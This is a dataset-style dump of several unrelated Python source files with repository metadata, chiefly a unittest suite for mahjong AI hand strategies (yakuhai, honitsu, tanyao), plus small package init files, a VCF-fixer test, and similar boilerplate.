alex-tsukanov/cargopy
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
[ "MIT" ]
18
2019-03-18T12:59:09.000Z
2019-05-14T17:36:02.000Z
happyly/caching/__init__.py
alex-tsukanov/cargopy
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
[ "MIT" ]
2
2019-03-24T22:43:08.000Z
2019-06-04T09:45:12.000Z
from .cacher import Cacher # noqa: F401 # this is a deprecated module # it will be removed in v0.11
20.4
40
0.72549
18
102
4.111111
0.944444
0
0
0
0
0
0
0
0
0
0
0.075
0.215686
102
4
41
25.5
0.85
0.647059
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
4b11162f3058131892975742ca73a88750533333
163
py
Python
graph_tf/utils/__init__.py
jackd/graph-tf
7b75182084d515fda16ab7f84ba175fe12d86274
[ "Apache-2.0" ]
null
null
null
graph_tf/utils/__init__.py
jackd/graph-tf
7b75182084d515fda16ab7f84ba175fe12d86274
[ "Apache-2.0" ]
null
null
null
graph_tf/utils/__init__.py
jackd/graph-tf
7b75182084d515fda16ab7f84ba175fe12d86274
[ "Apache-2.0" ]
null
null
null
from .type_checks import is_dense_tensor, is_ragged_tensor, is_sparse_tensor __all__ = [ "is_dense_tensor", "is_sparse_tensor", "is_ragged_tensor", ]
20.375
76
0.748466
23
163
4.565217
0.434783
0.304762
0.247619
0.285714
0
0
0
0
0
0
0
0
0.159509
163
7
77
23.285714
0.766423
0
0
0
0
0
0.288344
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d9bae4b769800aae2de0bfb8922ac76b6d92356e
24,968
py
Python
project/game/ai/first_version/tests/tests_strategies.py
warppoint42/Mahjong221
dac82c726927730e11112e2a62b500587717b7ed
[ "MIT" ]
2
2019-02-27T06:14:18.000Z
2019-06-08T18:42:42.000Z
project/game/ai/first_version/tests/tests_strategies.py
warppoint42/Mahjong221
dac82c726927730e11112e2a62b500587717b7ed
[ "MIT" ]
null
null
null
project/game/ai/first_version/tests/tests_strategies.py
warppoint42/Mahjong221
dac82c726927730e11112e2a62b500587717b7ed
[ "MIT" ]
1
2018-05-22T13:39:10.000Z
2018-05-22T13:39:10.000Z
# -*- coding: utf-8 -*- import unittest from mahjong.meld import Meld from mahjong.tests_mixin import TestMixin from game.ai.first_version.strategies.honitsu import HonitsuStrategy from game.ai.first_version.strategies.main import BaseStrategy from game.ai.first_version.strategies.tanyao import TanyaoStrategy from game.ai.first_version.strategies.yakuhai import YakuhaiStrategy from game.table import Table class YakuhaiStrategyTestCase(unittest.TestCase, TestMixin): def test_should_activate_strategy(self): table = Table() player = table.player strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player) tiles = self._string_to_136_array(sou='12355689', man='89', honors='123') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='12355689', man='89', honors='44') player.init_hand(tiles) player.dealer_seat = 1 self.assertEqual(strategy.should_activate_strategy(), True) tiles = self._string_to_136_array(sou='12355689', man='89', honors='666') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) # with chitoitsu-like hand we don't need to go for yakuhai tiles = self._string_to_136_array(sou='1235566', man='8899', honors='66') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) def test_dont_activate_strategy_if_we_dont_have_enough_tiles_in_the_wall(self): table = Table() player = table.player strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player) tiles = self._string_to_136_array(sou='12355689', man='89', honors='44') player.init_hand(tiles) player.dealer_seat = 1 self.assertEqual(strategy.should_activate_strategy(), True) table.add_discarded_tile(3, self._string_to_136_tile(honors='4'), False) table.add_discarded_tile(3, self._string_to_136_tile(honors='4'), False) # we can't complete yakuhai, because there is not enough honor tiles self.assertEqual(strategy.should_activate_strategy(), False) def test_suitable_tiles(self): table = Table() player = table.player strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player) # for yakuhai we can use any tile for tile in range(0, 136): self.assertEqual(strategy.is_tile_suitable(tile), True) def test_open_hand_with_yakuhai_pair_in_hand(self): table = Table() player = table.player tiles = self._string_to_136_array(sou='123678', pin='25899', honors='44') tile = self._string_to_136_tile(honors='4') player.init_hand(tiles) # we don't need to open hand with not our wind meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) # with dragon pair in hand let's open our hand tiles = self._string_to_136_array(sou='1689', pin='2358', man='1', honors='4455') tile = self._string_to_136_tile(honors='4') player.init_hand(tiles) meld, _ = player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) player.add_called_meld(meld) player.tiles.append(tile) self.assertEqual(meld.type, Meld.PON) self.assertEqual(self._to_string(meld.tiles), '444z') self.assertEqual(len(player.closed_hand), 11) self.assertEqual(len(player.tiles), 14) player.discard_tile() tile = self._string_to_136_tile(honors='5') meld, _ = player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) player.add_called_meld(meld) player.tiles.append(tile) self.assertEqual(meld.type, Meld.PON) self.assertEqual(self._to_string(meld.tiles), '555z') self.assertEqual(len(player.closed_hand), 8) self.assertEqual(len(player.tiles), 14) player.discard_tile() tile = self._string_to_136_tile(sou='7') # we can call chi only from left player meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) meld, _ = player.try_to_call_meld(tile, True) self.assertNotEqual(meld, None) player.add_called_meld(meld) player.tiles.append(tile) self.assertEqual(meld.type, Meld.CHI) self.assertEqual(self._to_string(meld.tiles), '678s') self.assertEqual(len(player.closed_hand), 5) self.assertEqual(len(player.tiles), 14) def test_force_yakuhai_pair_waiting_for_tempai_hand(self): """ If hand shanten = 1 don't open hand except the situation where is we have tempai on yakuhai tile after open set """ table = Table() player = table.player tiles = self._string_to_136_array(sou='123', pin='678', man='34468', honors='66') player.init_hand(tiles) # we will not get tempai on yakuhai pair with this hand, so let's skip this call tile = self._string_to_136_tile(man='5') meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) # but here we will have atodzuke tempai tile = self._string_to_136_tile(man='7') meld, _ = player.try_to_call_meld(tile, True) self.assertNotEqual(meld, None) self.assertEqual(meld.type, Meld.CHI) self.assertEqual(self._to_string(meld.tiles), '678m') table = Table() player = table.player # we can open hand in that case tiles = self._string_to_136_array(man='44556', sou='366789', honors='77') player.init_hand(tiles) tile = self._string_to_136_tile(honors='7') meld, _ = player.try_to_call_meld(tile, True) self.assertNotEqual(meld, None) self.assertEqual(self._to_string(meld.tiles), '777z') def test_call_yakuhai_pair_and_special_conditions(self): table = Table() player = table.player tiles = self._string_to_136_array(man='56', sou='1235', pin='12888', honors='11') player.init_hand(tiles) meld = self._make_meld(Meld.PON, pin='888') player.add_called_meld(meld) # to update previous_shanten attribute player.draw_tile(self._string_to_136_tile(honors='3')) player.discard_tile() tile = self._string_to_136_tile(honors='1') meld, _ = player.try_to_call_meld(tile, True) self.assertNotEqual(meld, None) def test_tempai_without_yaku(self): table = Table() player = table.player tiles = self._string_to_136_array(sou='678', pin='12355', man='456', honors='77') player.init_hand(tiles) tile = self._string_to_136_tile(pin='5') player.draw_tile(tile) meld = self._make_meld(Meld.CHI, sou='678') player.add_called_meld(meld) discard = player.discard_tile() self.assertEqual(self._to_string([discard]), '1p') def test_get_more_yakuhai_sets_in_hand(self): table = Table() tiles = self._string_to_136_array(sou='1378', pin='67', man='68', honors='5566') table.player.init_hand(tiles) tile = self._string_to_136_tile(honors='5') meld, discard_option = table.player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) table.add_called_meld(0, meld) table.player.tiles.append(tile) table.player.discard_tile(discard_option) tile = self._string_to_136_tile(honors='6') meld, _ = table.player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) table = Table() tiles = self._string_to_136_array(sou='234', pin='788', man='567', honors='5566') table.player.init_hand(tiles) tile = self._string_to_136_tile(honors='5') meld, discard_option = table.player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) table.add_called_meld(0, meld) table.player.tiles.append(tile) table.player.discard_tile(discard_option) tile = self._string_to_136_tile(honors='6') meld, _ = table.player.try_to_call_meld(tile, False) self.assertEqual(meld, None) def test_atodzuke_opened_hand(self): table = Table() player = table.player # 456m12355p22z + 5p [678s] tiles = self._string_to_136_array(sou='4589', pin='123', man='1236', honors='66') player.init_hand(tiles) tile = self._string_to_136_tile(man='6') player.draw_tile(tile) meld = self._make_meld(Meld.CHI, pin='123') player.add_called_meld(meld) discard = player.discard_tile() self.assertEqual(self._to_string([discard]), '9s') def test_wrong_shanten_improvements_detection(self): """ With hand 2345s1p11z bot wanted to open set on 2s, so after opened set we will get 25s1p11z it is not correct logic, because we ruined our hand :return: """ table = Table() player = table.player tiles = self._string_to_136_array(sou='2345999', honors='114446') player.init_hand(tiles) meld = self._make_meld(Meld.PON, sou='999') player.add_called_meld(meld) meld = self._make_meld(Meld.PON, honors='444') player.add_called_meld(meld) # to rebuild all caches player.draw_tile(self._string_to_136_tile(pin='2')) player.discard_tile() tile = self._string_to_136_tile(sou='2') meld, _ = table.player.try_to_call_meld(tile, True) self.assertEqual(meld, None) class HonitsuStrategyTestCase(unittest.TestCase, TestMixin): def test_should_activate_strategy(self): table = Table() player = table.player strategy = HonitsuStrategy(BaseStrategy.HONITSU, player) tiles = self._string_to_136_array(sou='12355', man='12389', honors='123') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='12355', man='238', honors='11234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) # with hand without pairs we not should go for honitsu, # because it is far away from tempai tiles = self._string_to_136_array(sou='12358', man='238', honors='12345') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) # with chitoitsu-like hand we don't need to go for honitsu tiles = self._string_to_136_array(pin='77', man='3355677899', sou='11') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) def test_suitable_tiles(self): table = Table() player = table.player strategy = HonitsuStrategy(BaseStrategy.HONITSU, player) tiles = self._string_to_136_array(sou='12355', man='238', honors='11234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) tile = self._string_to_136_tile(man='1') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(pin='1') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(sou='1') self.assertEqual(strategy.is_tile_suitable(tile), True) tile = self._string_to_136_tile(honors='1') self.assertEqual(strategy.is_tile_suitable(tile), True) def test_open_hand_and_discard_tiles_logic(self): table = Table() player = table.player tiles = self._string_to_136_array(sou='112235589', man='24', honors='22') player.init_hand(tiles) # we don't need to call meld even if it improves our hand, # because we are collecting honitsu tile = self._string_to_136_tile(man='1') meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) # any honor tile is suitable tile = self._string_to_136_tile(honors='2') meld, _ = player.try_to_call_meld(tile, False) self.assertNotEqual(meld, None) tile = self._string_to_136_tile(man='1') player.draw_tile(tile) tile_to_discard = player.discard_tile() # we are in honitsu mode, so we should discard man suits self.assertEqual(self._to_string([tile_to_discard]), '1m') def test_riichi_and_tiles_from_another_suit_in_the_hand(self): table = Table() player = table.player player.scores = 25000 table.count_of_remaining_tiles = 100 tiles = self._string_to_136_array(man='33345678', pin='22', honors='155') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(man='9')) tile_to_discard = player.discard_tile() # we don't need to go for honitsu here # we already in tempai self.assertEqual(self._to_string([tile_to_discard]), '1z') def test_discard_not_needed_winds(self): table = Table() player = table.player player.scores = 25000 table.count_of_remaining_tiles = 100 tiles = self._string_to_136_array(man='24', pin='4', sou='12344668', honors='36') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(sou='5')) table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False) table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False) table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False) tile_to_discard = player.discard_tile() # west was discarded three times, we don't need it self.assertEqual(self._to_string([tile_to_discard]), '3z') def test_discard_not_effective_tiles_first(self): table = Table() player = table.player player.scores = 25000 table.count_of_remaining_tiles = 100 tiles = self._string_to_136_array(man='33', pin='12788999', sou='5', honors='23') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(honors='6')) tile_to_discard = player.discard_tile() self.assertEqual(self._to_string([tile_to_discard]), '5s') def test_dont_go_for_honitsu_with_ryanmen_in_other_suit(self): table = Table() player = table.player strategy = HonitsuStrategy(BaseStrategy.HONITSU, player) tiles = self._string_to_136_array(man='14489', sou='45', pin='67', honors='44456') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) class TanyaoStrategyTestCase(unittest.TestCase, TestMixin): def _make_table(self): table = Table() table.has_open_tanyao = True return table def test_should_activate_strategy_and_terminal_pon_sets(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tiles = self._string_to_136_array(sou='234', man='3459', pin='233', honors='111') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='3459', pin='233999') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='3459', pin='233444') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) def test_should_activate_strategy_and_terminal_pairs(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tiles = self._string_to_136_array(sou='234', man='3459', pin='2399', honors='11') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='345669', pin='2399') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) def test_should_activate_strategy_and_valued_pair(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tiles = self._string_to_136_array(man='23446679', sou='345', honors='55') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(man='23446679', sou='345', honors='22') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) def test_should_activate_strategy_and_chitoitsu_like_hand(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tiles = self._string_to_136_array(sou='223388', man='3344', pin='6687') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) def test_should_activate_strategy_and_already_completed_sided_set(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tiles = self._string_to_136_array(sou='123234', man='3459', pin='234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234789', man='3459', pin='234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='1233459', pin='234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='3457899', pin='234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='3459', pin='122334') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='234', man='3459', pin='234789') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), False) tiles = self._string_to_136_array(sou='223344', man='3459', pin='234') player.init_hand(tiles) self.assertEqual(strategy.should_activate_strategy(), True) def test_suitable_tiles(self): table = self._make_table() player = table.player strategy = TanyaoStrategy(BaseStrategy.TANYAO, player) tile = self._string_to_136_tile(man='1') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(pin='1') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(sou='9') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(honors='1') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(honors='6') self.assertEqual(strategy.is_tile_suitable(tile), False) tile = self._string_to_136_tile(man='2') self.assertEqual(strategy.is_tile_suitable(tile), True) tile = self._string_to_136_tile(pin='5') self.assertEqual(strategy.is_tile_suitable(tile), True) tile = self._string_to_136_tile(sou='8') self.assertEqual(strategy.is_tile_suitable(tile), True) def test_dont_open_hand_with_high_shanten(self): table = self._make_table() player = table.player # with 4 shanten we don't need to aim for open tanyao tiles = self._string_to_136_array(man='369', pin='378', sou='3488', honors='123') tile = self._string_to_136_tile(sou='2') player.init_hand(tiles) meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) # with 3 shanten we can open a hand tiles = self._string_to_136_array(man='236', pin='378', sou='3488', honors='123') tile = self._string_to_136_tile(sou='2') player.init_hand(tiles) meld, _ = player.try_to_call_meld(tile, True) self.assertNotEqual(meld, None) def test_dont_open_hand_with_not_suitable_melds(self): table = self._make_table() player = table.player tiles = self._string_to_136_array(man='33355788', sou='3479', honors='3') tile = self._string_to_136_tile(sou='8') player.init_hand(tiles) meld, _ = player.try_to_call_meld(tile, False) self.assertEqual(meld, None) def test_open_hand_and_discard_tiles_logic(self): table = self._make_table() player = table.player # 2345779m1p256s44z tiles = self._string_to_136_array(man='22345', sou='238', pin='256', honors='44') player.init_hand(tiles) # if we are in tanyao # we need to discard terminals and honors tile = self._string_to_136_tile(sou='4') meld, discard_option = player.try_to_call_meld(tile, True) discarded_tile = table.player.discard_tile(discard_option) self.assertNotEqual(meld, None) self.assertEqual(self._to_string([discarded_tile]), '4z') tile = self._string_to_136_tile(pin='5') player.draw_tile(tile) tile_to_discard = player.discard_tile() # we are in tanyao, so we should discard honors and terminals self.assertEqual(self._to_string([tile_to_discard]), '4z') def test_dont_count_pairs_in_already_opened_hand(self): table = self._make_table() player = table.player meld = self._make_meld(Meld.PON, sou='222') player.add_called_meld(meld) tiles = self._string_to_136_array(man='33556788', sou='22266') player.init_hand(tiles) tile = self._string_to_136_tile(sou='6') meld, _ = player.try_to_call_meld(tile, False) # even if it looks like chitoitsu we can open hand and get tempai here self.assertNotEqual(meld, None) def test_we_cant_win_with_this_hand(self): table = self._make_table() tiles = self._string_to_136_array(man='34577', sou='23', pin='233445') table.player.init_hand(tiles) meld = self._make_meld(Meld.CHI, pin='234') table.player.add_called_meld(meld) table.player.draw_tile(self._string_to_136_tile(sou='1')) discard = table.player.discard_tile() # but for already open hand we cant do tsumo # because we don't have a yaku here # so, let's do tsumogiri self.assertEqual(table.player.ai.previous_shanten, 0) self.assertEqual(self._to_string([discard]), '1s') def test_choose_correct_waiting(self): table = self._make_table() player = table.player tiles = self._string_to_136_array(man='234678', sou='234', pin='3588') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(pin='2')) # discard 5p and riichi discard = player.discard_tile() self.assertEqual(self._to_string([discard]), '5p') table = self._make_table() player = table.player meld = self._make_meld(Meld.CHI, man='234') player.add_called_meld(meld) tiles = self._string_to_136_array(man='234678', sou='234', pin='3588') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(pin='2')) # it is not a good idea to wait on 1-4, since we can't win on 1 with open hand # so let's continue to wait on 4 only discard = player.discard_tile() self.assertEqual(self._to_string([discard]), '2p') table = table = self._make_table() player = table.player meld = self._make_meld(Meld.CHI, man='234') player.add_called_meld(meld) tiles = self._string_to_136_array(man='234678', sou='234', pin='2388') player.init_hand(tiles) player.draw_tile(self._string_to_136_tile(sou='7')) # we can wait only on 1-4, so let's do it even if we can't get yaku on 1 discard = player.discard_tile() self.assertEqual(self._to_string([discard]), '7s') def test_choose_correct_waiting_and_fist_opened_meld(self): table = self._make_table() player = table.player tiles = self._string_to_136_array(man='2337788', sou='345', pin='234') player.init_hand(tiles) tile = self._string_to_136_tile(man='8') meld, tile_to_discard = player.try_to_call_meld(tile, False) discard = player.discard_tile(tile_to_discard) self.assertEqual(self._to_string([discard]), '2m')
38.353303
90
0.665612
3,350
24,968
4.662985
0.097612
0.064657
0.077588
0.096985
0.806671
0.796556
0.752577
0.71263
0.684143
0.660905
0
0.059561
0.220642
24,968
650
91
38.412308
0.743204
0.073214
0
0.692135
0
0
0.033616
0
0
0
0
0
0.202247
1
0.069663
false
0
0.017978
0
0.096629
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d9bd552be1fa73ba9ab2c06c9fc7567b6908ec97
236
py
Python
src/sentry/utils/pytest/__init__.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
1
2019-10-17T17:46:16.000Z
2019-10-17T17:46:16.000Z
src/sentry/utils/pytest/__init__.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
null
null
null
src/sentry/utils/pytest/__init__.py
learninto/sentry
4f9f564841498b3af49c1677d6b61f3e47b01923
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import pytest_plugins = [ "sentry.utils.pytest.sentry", "sentry.utils.pytest.selenium", "sentry.utils.pytest.fixtures", "sentry.utils.pytest.unittest", "sentry.utils.pytest.kafka", ]
23.6
38
0.716102
27
236
6.037037
0.444444
0.337423
0.521472
0
0
0
0
0
0
0
0
0
0.144068
236
9
39
26.222222
0.806931
0
0
0
0
0
0.572034
0.572034
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d9cf2086500c72849fce441980525fd12de509e4
102
py
Python
parse_manual/parsed_property.py
jhkloss/libg3n_parsing_notebook
e7afef1cc0baf777df334350e967a5d1873998e2
[ "Unlicense" ]
null
null
null
parse_manual/parsed_property.py
jhkloss/libg3n_parsing_notebook
e7afef1cc0baf777df334350e967a5d1873998e2
[ "Unlicense" ]
null
null
null
parse_manual/parsed_property.py
jhkloss/libg3n_parsing_notebook
e7afef1cc0baf777df334350e967a5d1873998e2
[ "Unlicense" ]
null
null
null
from parse_manual.parsed_token import ParsedToken class ParsedProperty(ParsedToken): type: type
17
49
0.813725
12
102
6.75
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.137255
102
5
50
20.4
0.920455
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d9df91acce6bb13302a9f88cc8c6203f71035174
224
py
Python
generated-libraries/python/netapp/aggr/blocktype.py
radekg/netapp-ontap-lib-get
6445ebb071ec147ea82a486fbe9f094c56c5c40d
[ "MIT" ]
2
2017-03-28T15:31:26.000Z
2018-08-16T22:15:18.000Z
generated-libraries/python/netapp/aggr/blocktype.py
radekg/netapp-ontap-lib-get
6445ebb071ec147ea82a486fbe9f094c56c5c40d
[ "MIT" ]
null
null
null
generated-libraries/python/netapp/aggr/blocktype.py
radekg/netapp-ontap-lib-get
6445ebb071ec147ea82a486fbe9f094c56c5c40d
[ "MIT" ]
null
null
null
class Blocktype(basestring): """ 32-bit|64-bit Possible values: <ul> <li> "32_bit" , <li> "64_bit" </ul> """ @staticmethod def get_api_name(): return "blocktype"
14.933333
28
0.491071
24
224
4.416667
0.666667
0.09434
0
0
0
0
0
0
0
0
0
0.055944
0.361607
224
14
29
16
0.685315
0.325893
0
0
0
0
0.078261
0
0
0
0
0
0
1
0.25
true
0
0
0.25
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
5
d9ed7048a4c46d712c91a8794f4c4f7f85b7e084
1,123
py
Python
tests/test_fix_medaka_vcf.py
iqbal-lab-org/pandora_paper_roc
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
[ "MIT" ]
null
null
null
tests/test_fix_medaka_vcf.py
iqbal-lab-org/pandora_paper_roc
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
[ "MIT" ]
null
null
null
tests/test_fix_medaka_vcf.py
iqbal-lab-org/pandora_paper_roc
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
[ "MIT" ]
2
2020-11-04T18:15:43.000Z
2020-11-06T01:38:08.000Z
from pipeline.scripts.fix_medaka_vcf import FixMedakaVCF import filecmp class TestFixMedakaVCF: def test_big_bang_fix_medaka_vcf(self): fixer = FixMedakaVCF() fixer.process_vcf("tests/test_cases/sample_medaka_to_be_fixed.vcf", "tests/test_cases/sample_medaka_to_be_fixed.corrected.vcf", "sample_name") files_are_equal = \ filecmp.cmp("tests/test_cases/sample_medaka_to_be_fixed.corrected.vcf", "tests/test_cases/sample_medaka_to_be_fixed.expected.vcf") assert files_are_equal def test_big_bang_fix_medaka_empty_vcf(self): fixer = FixMedakaVCF() fixer.process_vcf("tests/test_cases/sample_medaka_empty_vcf.to_be_fixed.vcf", "tests/test_cases/sample_medaka_empty_vcf.corrected.vcf", "sample_name") files_are_equal = \ filecmp.cmp("tests/test_cases/sample_medaka_empty_vcf.corrected.vcf", "tests/test_cases/sample_medaka_empty_vcf.expected.vcf") assert files_are_equal
44.92
86
0.658949
138
1,123
4.905797
0.23913
0.106352
0.165436
0.236337
0.870015
0.870015
0.713442
0.713442
0.651403
0.48449
0
0
0.262689
1,123
25
87
44.92
0.817633
0
0
0.380952
0
0
0.402135
0.382562
0
0
0
0
0.095238
1
0.095238
false
0
0.095238
0
0.238095
0
0
0
0
null
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d9f38a1d2ae7aa066d3c53af0445609744ea84d8
64
py
Python
examples/leslie/__init__.py
determined-ai/OReilly
871cba08a025327564f26e2527fc995a6c4584bd
[ "Apache-2.0" ]
6
2019-09-10T20:34:52.000Z
2022-02-17T06:51:32.000Z
reproducibility/model_code/__init__.py
determined-ai/OReilly
871cba08a025327564f26e2527fc995a6c4584bd
[ "Apache-2.0" ]
null
null
null
reproducibility/model_code/__init__.py
determined-ai/OReilly
871cba08a025327564f26e2527fc995a6c4584bd
[ "Apache-2.0" ]
3
2019-09-10T20:35:17.000Z
2019-11-12T07:35:12.000Z
from model_leslie import make_data_loaders, MultiTaskMNistTrial
32
63
0.90625
8
64
6.875
1
0
0
0
0
0
0
0
0
0
0
0
0.078125
64
1
64
64
0.932203
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
8a2611fe46941ac9da0e5477b9a78ee6955b6c9a
38
py
Python
ptcgdex/__main__.py
encukou/ptcgdex
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
[ "MIT" ]
1
2017-09-27T10:07:40.000Z
2017-09-27T10:07:40.000Z
ptcgdex/__main__.py
encukou/ptcgdex
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
[ "MIT" ]
null
null
null
ptcgdex/__main__.py
encukou/ptcgdex
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
[ "MIT" ]
null
null
null
from ptcgdex.main import main main()
9.5
29
0.763158
6
38
4.833333
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.157895
38
3
30
12.666667
0.90625
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
8a89ca37e8e9f1f3eb695fe8517955db33f11911
61
py
Python
EnemyData.py
Sigurdur01/FOR3Lokaverkefni
0c90206d98958f37d28a971c6dbb2ee90f811dd3
[ "MIT" ]
null
null
null
EnemyData.py
Sigurdur01/FOR3Lokaverkefni
0c90206d98958f37d28a971c6dbb2ee90f811dd3
[ "MIT" ]
null
null
null
EnemyData.py
Sigurdur01/FOR3Lokaverkefni
0c90206d98958f37d28a971c6dbb2ee90f811dd3
[ "MIT" ]
null
null
null
import pygame import random from pygame.locals import *
12.2
28
0.754098
8
61
5.75
0.625
0
0
0
0
0
0
0
0
0
0
0
0.213115
61
4
29
15.25
0.958333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
8a89cc532b1afc21a5c38e16d943a2af9b296b04
286
py
Python
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
khurtado/WMCore
f74e252412e49189a92962945a94f93bec81cd1e
[ "Apache-2.0" ]
21
2015-11-19T16:18:45.000Z
2021-12-02T18:20:39.000Z
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
khurtado/WMCore
f74e252412e49189a92962945a94f93bec81cd1e
[ "Apache-2.0" ]
5,671
2015-01-06T14:38:52.000Z
2022-03-31T22:11:14.000Z
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
khurtado/WMCore
f74e252412e49189a92962945a94f93bec81cd1e
[ "Apache-2.0" ]
67
2015-01-21T15:55:38.000Z
2022-02-03T19:53:13.000Z
